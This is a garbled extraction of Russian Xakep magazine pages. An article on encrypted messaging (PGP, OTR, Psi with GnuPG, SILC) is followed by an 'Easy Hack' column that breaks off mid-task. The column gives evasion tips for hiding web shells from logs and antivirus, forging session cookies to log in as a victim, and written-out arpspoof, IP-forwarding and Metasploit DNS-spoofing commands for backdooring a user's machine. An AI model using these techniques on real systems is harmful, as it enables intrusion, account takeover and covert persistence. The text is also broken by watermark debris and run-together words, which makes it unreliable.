книги хакеры / журнал хакер / 138_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Новое контекстное меню в Firefox
Зашифрованное сообщение
разовать сообщение так, чтобы обратное преобразование было возможно только с помощью закрытого ключа. Получается, ты можешь подписывать сообщения своим открытым ключом и использовать открытый ключ другого человека для того, чтобы отправить ему зашифрованное сообщение, и наоборот. Это основной принцип ассиметричного шифрования. В сам плагин FirePGP никакие криптографические функции не включены, это лишь прослойка между веб-интерфейсом Gmail и программой для шифрования GnuPG, которую предварительно необходимо установить. Есть разные вариации,
взависимости от ОС:
•для Windows: gpg4win (www.gpg4win.org/ download.html);
•Linux'е: GnuPG (www.gnupg.org/download/ index.en.html);
•MacOS: Mac GPG (macgpg.sourceforge.net).
Далее, подключив к браузеру и сам плагин, Firefox предложит указать настройки. Самое главное — сгенерировать закрытый и открытый ключи, указав несколько параметров, в том числе пароль, срок действия ключа, его длину. Важная опция «Включить поддержку
Gmail» свяжет FirePGP с Gmail, и она включе-
на по умолчанию. Теперь при создании нового письма в интерфейсе Gmail у тебя появятся кнопки «Зашифровать» и «Прикрепить зашифрованный файл». Понятно, что для чтения зашифрованных писем адресату точно также потребуется PGP/GPG и твой открытый ключ. При этом это совершенно необязательно должен быть Gmail — эта система шифрования, как я уже говорил, отлично прикручивается к любому почтовому клиенту. Да и Gmail — это не только веб-почта, с аккаунтом можно отлично работать по протоколам POP/IMAP/SMTP.
БЕЗОПАСНОЕ ОБЩЕНИЕ В АСЬКЕ
С почтой, вообще говоря, все понятно: есть PGP, к которому давно все привыкли,
— его и используем. А вот с многообразием мессенжеров, которых с шифрованием сообщений обделили никак не меньше, далеко не все так гладко. Из популярных в России протоколов шифрование изначально предусматривалось только в Jabber'е (об этом ниже). Но как быть с самой популярной сетью — ICQ? Единственное, что было переработано в протоколе — это соединение с сервером, которое, ура, можно проводить через SSL. Но, черт его знает, что там на сервере? Нужно шифровать сообщение, и эту функцию придется каким-то образом реализовывать поверх протокола. Один из подходов — перехватывать все сообщения и шифровать трафик на лету. Допустим, пустить весь трафик мессенжера через промежуточный SOCKS-сервер, который будет шифровать каждое сообщение и уже в безопасном виде отправлять его на сервер. Тело сообщения при этом дойдет в таком виде до самого адресата и только там преобразуется в открытый вид точно таким же SOCKS-сервером. Удобно, что не надо никак привязываться к мессенжеру (ведь каждый из нас любит что-то свое: miranda, qip, pidgin
и т.д.) — системе абсолютно пофигу на него. Важно только, чтобы у каждого клиента был установлен и настроен такой шифрующий SOCKS-сервер. Описанный подход в частности реализовали французские программисты, выпустившие серию продуктов SimpLite (www.secway.fr). Увы, проект последние годы не обновляется, и если раньше он работал более-менее сносно, то сейчас заставить его
корректно функционировать довольно сложно. Зато семимильными шагами развивается даже не конкретное программного решение, а именно протокол для безопасной передачи сообщений, который может работать поверх любого незащищенного соединения,
втом числе ICQ. OTR или Off-the-Record Messaging — это хитрая комбинация симметричного шифрования с помощью AES, известного алгоритма Диффи-Хеллмана для обмена ключей и хеш-функции SHA-1. Все вместе это позволяет надежно защищать IM-сессии с обязательным шифрованием сообщений, аутентификацией собеседника
ипроверкой целостности сообщения. Перед тем же PGP у протокола есть важное преимущество. Даже если твой приватный ключ попадет в чужие руки, то предыдущая переписка не будет скомпрометирована: злоумышленник просто не сможет ее прочитать. Привычные публичный и приватный ключи используются только для первичной аутентификации пользователей, но все дальнейшие сообщения шифруются уже с помощью одноразовых AES-ключей — так называемых
Message Authentication Codes (MACs). Но не будем вдаваться в математику (ссылки на подробное описание протокола ты найдешь
всносках), а посмотрим, как это работает на практике.
На официальном сайте протокола www. cypherpunks.ca/otr доступна так назы-
ваемая OTR localhost AIM proxy — реа-
лизация того самого посредника между IM-клиентом и сервером, о котором мы говорили выше. Программа (есть версии для винды, линукса и macos) работает
всистеме, как самая обычная прокси,
через которую нужно пустить трафик твоего IM-мессенжера (неважно какого). Для
XÀÊÅÐ 07 /138/ 10 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
PC_ZONE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Текущие подключения через прокси OTR
Публичный ключ необходимо передать своим контактам
этого в настройках соединения пропиши
SOCKS5 (127.0.0.1:1080) или HTTP-прокси (127.0.0.1:8080). Во время следующего соединения программа подключится к ICQ-серверу через OTR, а в окно Proxy ты увидишь новое подключение. Для каждого ICQ-аккаунта необходимо сгенерировать ключи, но делать это самому в принципе необязательно — программа сделает это автоматически. Если собеседник захочет установить безопасное подключение, то должен будет предоставить свой публичный ключ (в OTR он называется fingerprint) — прокси об этом тебя предупредит и добавит связку uin-fingerprint в свою базу данных. Далее fingerprint будет использоваться для того, чтобы установить, что собеседник — именно тот, за кого себя выдает. Обмен ключами производится автоматически, и тебе, по сути, вообще ничего не надо настраивать. Если оба клиента подключаются к ICQсерверу через OTR, то программа по умолчанию установит безопасное соединение. С помощью настроек ты можешь отключить автоматическое инициирование безопасного подключения или, напротив, указать, что с некоторыми из контактов обмен сообщениями должен происходить с обязательным шифрованием. По своему опыту могу сказать, что система не только работает, но и работает очень здорово. Можно даже попробовать отснифать трафик и убедиться, что сообщения передаются исключительно в закриптованном виде.
Есть коннект! |
Без ключа OTR-сообщение прочи- |
|
тать невозможно |
Другой способ использовать OTR — прикрутить к мессенжеру специальный плагин. Для Pidgin'а есть официальный аддон, к Miranda и quitIM соответствующее дополнение разрабатывается энтузиастами, а в известном Mac'овском IM-клиенте Adium поддержка протокола есть по умолчанию. Если говорить об альтернативах OTR в принципе, то для Miranda есть плагин SecureIM, который защищает сообщения либо встроенным в плагин алгоритмом AES192, либо внешней программой GPG/PGP. К слову, для использования в Miranda GPG/ PGP есть и другие плагины — например,
GnuPG Plugin (addons.miranda-im.org/details. php?action=viewfile&id=3485). Но тут надо обязательно иметь в виду, что все участники разговора в этом случае должны использовать одно и то же решение.
JABBER & PGP
Вместо того чтобы прикручивать шифрование там, где его никогда не было, есть другой вариант — перейти на протокол, который изначально предусматривает безопасную передачу сообщений. Что неудивительно, таким протоком является XMPP (Jabber). Начнем с того, что практически любой XMPPсервер сейчас поддерживает защищенное SSL/TLS-соединение между сервером и клиентом, что уже обламывает любителей поснифать трафик в локалке или хотспоте. Более того, во многих клиентах предусмотрена возможность шифровать сообщения между пользователями, прежде всего, на основе PGP/ GPG. Тут опять же нас выручает свободная реализация системы PGP — GnuPG, на которую и возложены все функции шифрования. Попробуем прикрутить ее к одному из самых популярных XMPP-клиентов — psi (www.psiim.org). С тем же успехом можно наладить связку GnuPG с Pidgin и многими другими мессенжерами.
Если ты уже использовал GnuPG вместе с плагином FireGPG, то у тебя уже наверняка есть пара из открытого и закрытого ключей, которую ты можешь использовать и для переписки в Jabber'е. В противном случае ключи необходимо создать с помощью команды «gpg --gen-key». В диалоговом режиме надо ответить на ряд сопутствующих вопросов, указав тип шифрования, длину ключа (чем
больше — тем лучше), срок его действия, идентификатор пользователя, e-mail, а также пароль. Когда ключи будут готовы, необходимо экспортировать открытый ключ в файл и дальше передать его своему собеседнику. Для этого выполни команду «gpg --list-keys»
— она выведет список доступных ключей и их идентификаторы. А дальше, используя нужный идентификатор, экспортируй ключ в файл: «gpg --armor --export ID_КЛЮЧА > mykey_gpg.asc». Файл mykey_gpg.asc будет похож на что-то вроде:
pub 1024D/29D59819 06.06.2010 myaccount's key (myaccount's key) <myaccount@Gmail.com>
Primary key fingerprint: 586C 0FAB 3F0C 0009 40C6 273E 8885 6A80 29D5 9819
-----BEGIN PGP PUBLIC KEY BLOCK-
----
Version: GnuPG v1.4.9 (MingW32) - WinPT 1.4.3
Charset: UTF-8
mQGiBEwLWjwRBACT9pHfYBDC51cxwsIWuO
5DE7xKBz/NscI05q7j+DaVl0PoXLko
[вырезано]
D1cedORKLsgnRfbfkIMAn2BDxiBT2hPvEn
AFjHOpIWra8axQ
=l7zo
-----END PGP PUBLIC KEY BLOCK-----
Его-то и нужно передать всем адресатам,
скоторыми ты планируешь ввести приватные беседы. Чтобы не геморроиться
сконсольными утилитами для работы с ключами, есть замечательная GUI-тулза WinPT (winpt.gnupt.de), которая позволяет сделать все то же самое только в 10 раз проще. Но что делать со своим закрытым ключом? Ничего. Psi на запуске сама проверяет ключи, которые были созданы GnuPG (заметь, без каких-либо плагинов и шаманств с настройками). Надо лишь зайти в настройки аккаунта, перейти на вкладку «Подробности» и в настройках OpenPGP выбрать нужный приватный ключ. С этого момента во время подключения к серверу клиент будет запрашивать у тебя пароль для этого ключа. А всем тем, кто импорти-
040 |
XÀÊÅÐ 07 /138/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
GTalk-аккаунт с привязанным
GPG-ключом
Устанавливаем соединение со SILCсервером
ровал твой открытый ключ, клиент будет отображать, что твой статус подписан — к сети подключился действительно ты, а не кто-то другой. Осталось уже со своей стороны импортировать открытые ключи других пользователей и связать их с нужными контактами в Psi, нажав правой кнопкой мыши и выбрав «Присвоить ключ OpenPGP». Ключи проще всего импортиро-
вать в WinPK через меню «Ключ Æ Импортировать». Единственное надо иметь в виду, что Psi считывает информацию о ключах во время запуска, поэтому после любого импорта ключей, его необходимо перезапустить. Все, теперь, когда ты откроешь новое окно с чатом, то увидишь иконку с замочком. После нажатия на нее произойдет сверка ключей, и система выдаст сообщение о том, что разговор зашифрован.
БЕЗОПАСНАЯ КОНФЕРЕНЦИЯ
Еще один нетронутый аспект — организация площадки для безопасного общения нескольких людей или даже большой команды. С этой целью уже давно раз-
XÀÊÅÐ 07 /138/ 10
Удобная утилита для управления PGP/GPG-ключами
рабатывается профильное решение — SILC Secure Internet Live Conferencing (silcnet.org). SILC очень похож
виспользовании на IRC: тут тоже есть имена пользователей, общие каналы, частные сообщения. Более того, совпадают даже основные команды — словом, все, как в те времена, когда мы все еще зависали на IRC. Основное различие от IRC — изначально заложенная защита передаваемой информации. Причем шифрование — это базовая часть протокола, ее никак нельзя отключить. Шифруются абсолютно все: сообщения в привате или на канале, пароли, команды и уведомления. SILC появился на десять лет позже IRC, и у разработчиков (прежде всего, Пеки Риконнена) была возможность поучиться на чужих ошибках и учесть неудачные решения. Так, протокол обеспечивает защищенную передачу и аутентификацию между клиентом и сервером, сервером и сервером, и между клиентами
вприватной беседе. К тому же, он банально удобен. Например, в клиенте по умолчанию поддерживается функция detaching: ты можешь отсоединиться от сервера, но у других создается иллюзия присутствия. В IRC для этого понадобилось на каком-нибудь сервере установить небезызвестный BNC :).
Система SILC состоит из сервера под никсы, который придется установить в безопасном месте, и официального клиента для Linux/Unix/Mac/Windows. Для подключения также можно использовать Pidgin с установленным плагином. Сервер легко собирается из исходников (стан-
дартными командами ./configure&make&make install) или же инсталлится из rpm-пакета (rpm –i silc-server-1.1-0. fc8.i386.rpm). А вот, что придется сделать, так это сгенерировать для каждого пользователя ключ, что делается довольно мудреной командой:
silcd -C /etc/silcd --identifier="UN=<username>, HN=<hostname or IP>, RN=<real name>, E=<email>, O=<organization>, C=<country>"
HTTP://WWW
links
Презентацияс описаниемпротокола
OTR: www.cypherpunks.ca/ otr/otr-codecon.pdf
WARNING |
warning
Слабоеместолюбого мессенжера— историяпереписки. Она нешифруетсяи, как правило, хранится воткрытомвиде. Поэтомуеелучше отключить.
После того, как создашь пользователей, можно запустить сервер и попробовать подключиться к нему Pidgin'ом, создав новый профиль для работы через протокол SILC. Помимо обычных параметров, вроде имени и пароля, IP и порта сервера, необходимо указать расположение публичного и закрытого ключей. Ключа у тебя нет, но он будет автоматически сгенерирован при первом соедине-
нии с сервером. Пробуем подсоединиться... Вуаля, теперь у нас снова есть удобный IRC, но гораздо более безопасный и удобный. z
041
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
||
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
|||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
o |
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
.c |
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
ВЗЛОМ
Тюрин «GreenDog» Алексей agrrrdog@gmail.com
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
Easy |
Hack |
ХАКЕРСКИЕ |
|
|
СЕКРЕТЫ |
|
|
ПРОСТЫХ |
|
|
ВЕЩЕЙ |
|
|
|
|
|
|
|
|
|
¹ 1 ЗАДАЧА: СКРЫТЬПРИСУТСТВИЕШЕЛ-
ЛАНАВЕБ-СЕРВЕРЕ
РЕШЕНИЕ:
НанедавнопрошедшемHackInTheBox2010DubaiкрутойспецвобластиИБ, LaurentOudot,представилинтереснуюпрезентациюнатемуповышенияскрытности привзломечерезweb.Материалыможешьнайтитут— conference.hitb.org/ hitbsecconf2010dxb/materials. Ничегочрезвычайноновогоиреволюционного онвроденерассказал,ноприятнообобщилинформациюскучкойподробностейи хитростей,которыетеперьможноопробоватьнапрактике.Такчто,еслитыфанатик web-hack’а,тообязательнопосмотриее.Но,сучетомобщегоинтересакэтойтема- тике,япозволюсебеобобщитьивыделитьосновныевкусности.
Дляначаларассмотримпроведениесамойатакииисследованиескриптовна уязвимости.Конечно,самоескрытное—этоузнатьмаксимальнуюинформациюо жертве(заюзаввсевидящийГугл,например),сконфигуритьаналогичныйсерваки отработатьвзломнанем.Минимизироватьприэтомвозможныепоявлениявлогах и,есличто,знать,гдеподчистить.Витогедолжнаполучитьсяпочти100%атакас минимумомлишнихдействий.Ночащевсегобываетленьэтовседелать,поэтому можно,например,скрытьреальныйвекторатакивкучеложныхатак.Аглавное,что-
быбытьменеезаметнымвлогах,всеатакивыполняйметодомPOST(если,конечно, ситуацияпозволяет),таккаконтамотмечаетсялишькакобращениекстранице,без указанияпараметров,какэтопроисходитсGET-запросом.Тоестьнашипопытки проинжектитькакую-нибудьБДбудутнестольуспешны:).
Далее, какспрятать«общение» сшеллом. Во-первых, добавитьбытовойинформации, тоестьвзапросахуказыватьнормальныезначениядляUser-Agent
иReferer, чтобысмешатьсясдругимизаписямивлогах. Кстати, их, нарядус проксями, желательносистематическименять, чтобызатруднитьпрослеживание последовательностинашихдействий. Во-вторых, дляпередачикомандшеллуи получениюответовотнегоможноюзатькуки, например. Тогдатвоиобращения
кшеллубудутвыглядетькакGET-запросыкстраницебезпараметров, раскрывающихего, тоестьсовсембезпалева. В-третьих, кодируемкомандыиответыв base64, например, иличто-нибудьпозлее, чтобынезасекливмоментобменаданными, ноэтовосновномприусловиииспользованиянасерверекакой-нибудьIDS. В-четвертых, прячемшеллвсамыхглубокихместах, окоихнеразбылорассказано вэтойрубрике, незабываяобфускироватьегоразнымиметодами, дабыспрятатьсяотантивиреподобногоПО. Ктомужежелательноспрятатьнесколькошеллов, причемразных, чтобыипомассовомуобращениюкодномускриптунезасекли, да
ивообще, хорошоэто. Вобщем, отличнаяоснова, чтобыпереписатькакой-нибудь классическийweb-шелл.
¹ 2 ЗАДАЧА: «ВЖИВУЮ» ПРОАНАЛИЗИРО-
ВАТЬPCAP-ТРАФИК
РЕШЕНИЕ:
Естьцелаягруппапрограмм, котораяработаетс«живыми» данными, тоесть спотокомданных, приходящимнакакой-тосетевойинтерфейс. Например, всевозможныеснифферыпаролей, детекторыОС, сервисов, определители структурысети ит.д. Многиеизнихпозволяютподгружатьданныеизфайла логатрафика— pcap, ноневсе. Какразвтакихслучаяхнампоможетtcpreplay. Этапрограмма(точнее, наборпрограмм) читаетpcap-файлипрогоняетего насетевоминтерфейсе, меняякакие-тозначениявпакетахданных, еслиэто необходимо. Взятьееможносtcpreplay.synfin.net/wiki/Download, нообычно онаужеестьв*nix-системах. ДляWin естьтолькокривенькийрелиз, который можновзятьтамже.
Приведупростенькийпример. Предположим, мыимеемфайлtest.pcap с трафикомизкакой-топодсети, инужноопределитьееструктуру:
lanmap –i eth0
Запускаемlanmap наинтерфейсеeth0. Этатулзаанализируеттрафикпрослушиваемойсетиирисуетееструктурувфайлlanmap.png. Несамаялучшая, но всежевходитвсоставBackTrack. Далеезапускаемtcpreplay для«повтора» пакетовизpcap-файланатомжеинтерфейсе.
tcpreplay --intf1=eth0 test.pcap
Витогемыполучимструктуруподсетиизpcap-файла. Толькопроследи, чтобы наeth0 неприходилоникакихданныхизреальноподключеннойсети, чтобы неисказитьрезультат. Хотялегчезареплеитьнаlo. Нудаладно.
Кромевсегопрочего, естьвозможностиизмененияданныхpcap-файла. Например, можноизменитьIP иMAC-адреса, заголовкипакетов, эмулировать клиент-серверноеобщение. Можноразогнатьпотокданных...
ОбластьпримененияданногоПОконкретновелика, такчтоонемпринеобходимостистоитвспоминать.
ЗАДАЧА: СОЗДАТЬПОДДЕЛЬНЫЕ ¹ 3 COOKIE НАОСНОВЕСТАТИСТИЧЕСКИХ
ДАННЫХ
РЕШЕНИЕ:
Общеизвестно, чтодляидентификациипользователейвеб-серверомочень частоиспользуютсякуки, поэтомуукрастьих— благоедело. Пихнувэтикукив нашбраузер, мыавтоматическиаутентифицируемсяподнашейжертвой. Но иногдаэтогонехватает, таккаквкукисахможетхранитьсякакая-нибудьдопол- нительнаяпеременная, привязаннаяковремени(илиещекак-то). Ктомуже,
крастькукиневсегдаобязательно. Можноихполностьюподделать, определив алгоритмформированияпеременныхиподставивнужныенамзначения. Вобщем, мызаходимнесколькоразнаатакуемыйсерверисмотримгенерируемые куки. Статические, временныеполябудутсразузаметны. Сдинамическимиже всечутьсложнее, ноненамного. Дляпониманияихработынампоможетнабор скриптовсopen-labs.org/ob-session04.tar.gz (прилагаетсянадиске).
Итак, запускаем:
perl getcookie.pl http://example.com USERID 100 > test1.txt
Гдеgetcookie.pl — скриптдляполучениязначенийизпеременнойвкукисах;
042 |
XÀÊÅÐ 07 /138/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
http://example.com — полныйпутьдостраницына атакуемомвеб-сервере; USERID — имяпеременной вкукисах, откудаберемзначенияифайлtest1.txt, кудасохраняемих; 100 — количествозапросовк серверудляформированиянеобходимойбазыи определениязависимостей.
Далеезапускаемскриптдляанализаполученных данных:
perl ob-session.pl < test1.txt
Витогемыполучаемстатистическиеданныеоб изменяемыхипостоянныхпозициях, наборесимволов, возможностиперебораит.д.
Наосновеэтихданных, используякакой-либо fuzzer, мысможемметодомтыкаподобратьнеобходимыезначениядлякукисовитакимобразом аутентифицироватьсянасервере.
Кстати, ob-session.pl работаетспростымитекстовымистроками, такчтоможноиспользоватьэтот скриптидляанализадругихпоследовательностей.
АнализпеременнойотPHP-сессииипользова- тельской(динамической)
¹ 4 ЗАДАЧА: ЗАБЭКДОРИТЬКЛИЕНТСКУЮ
МАШИНУ
РЕШЕНИЕ:
Здесьпод«клиентскоймашиной» понимаетсякомпобычногоюзера. Тоесть какая-нибудьверсияWindows, файервольчик, возможноантивирь— никаких лишнихсервисовнаружунеторчит, аединственныепрограммы, которымипользуетсяюзер— этобраузер, да, можетбыть, почтовыйклиент. Новсерешаемо. ВоспользуемсяфункционаломMetasploit’а.
Первая трудность — достать пользователя. В данной ситуации, если мы находимся «далеко» от пользователя, то мы можем либо с помощью социальной инженерии, либо благодаря уязвимостям сайтов, которые
пользователь посещает, заставить зайти его на наш «специально оформленный» сайт. Если же мы находимся в одной сети с ним, то проблема решается проще, ведь мы можем заставить его зайти на наш сервер. В этом нам поможет dns-spoofing. Суть заключается в подделке ответов DNS-сер- вера. Иными словами, браузер нашей жертвы при путешествиях по сайтам делает запросы к DNS-серверу, чтобы перевести названия посещаемых сайтов в IP-адреса. Мы же перехватываем их и отвечаем с подмененным IP-адресом нашего сервера.
Взависимостиотситуацииможетпотребоваться применениеarp-spoofing, чтобыперенаправитьтрафикчерезнас, чтобымымогли«видеть» DNS-запросы. Яписалпроarp-spoofing впрошломномере, потомунебудуподробноостанавливатьсянаописании.
arpspoof -i eth0 192.168.0.1,
где192.168.0.1 — IP шлюза, чейMAC мыподменяемсвоим.
echo «1» > /proc/sys/net/ipv4/ip_forward
Форвардингвсегоприходящеготрафика.
ДалееDNS-spoofing. ВMetasploit’еестьмодульfake dns, какраздляэтихцелей, но явоспользуюсьмодулемотDigininja, которыйскачатьможноздесь: digininja. org/metasploit/dns_dhcp.php (либосдиска). Главноеотличиепоследнеговтом, чтоподдельныеответыонпосылаеттолькодляимен, хранящихсявфайлеdns. txt, остальныепересылаютсянареальныйDNS. Этопозволяетизбавитьсяот некоторых«глюков» исконцентрироватьатаку.
Устанавливаеммодуль:
1.Качаем и разархивируем
2.Папку dns_mitm кидаем в auxiliary/server в metasploit’e
Папкаlib изархиванужнадлямодуляdhcp_exhaustion, тоестьнамненужна.
Заходимвmsfconsole.
use auxiliary/server/dns_mitm/dns_mitm
set FILENAME /msf3/modules/auxiliary/server/dns.txt set REALDNS 192.168.0.1
run -j
Здесьмыподгрузилимодуль, указалинеобходимыепеременныесреды: путьдо файлаdns.txt иIP настоящегоDNS-сервераизапустилиего.
Кстати, путьподWindows нужноуказыватьнеполный, аотносительнопапки сMetaspoit’ом, таккакMSF исполняетсявCygwin’e. Иначеговоря, нельзя кинутьфайликнадискC ипрописатьпутькнему.
Файлdns.txt содержитзаписивида:
192.168.0.1 google.ru
где192.168.0.1 — IP нашегосайтасначинкой, аgoogle.com — сайт, кудаюзер попытаетсязайти, нопопадеткнам. Списокможнопополнятьвовремядействия модуля, подгружаяпомеренеобходимости. Делаетсяэтозасчетотправки специальногоDNS-запросананашфейковыйсервер. Можнолокально, пишем вконсоли:
XÀÊÅÐ 07 /138/ 10 |
043 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
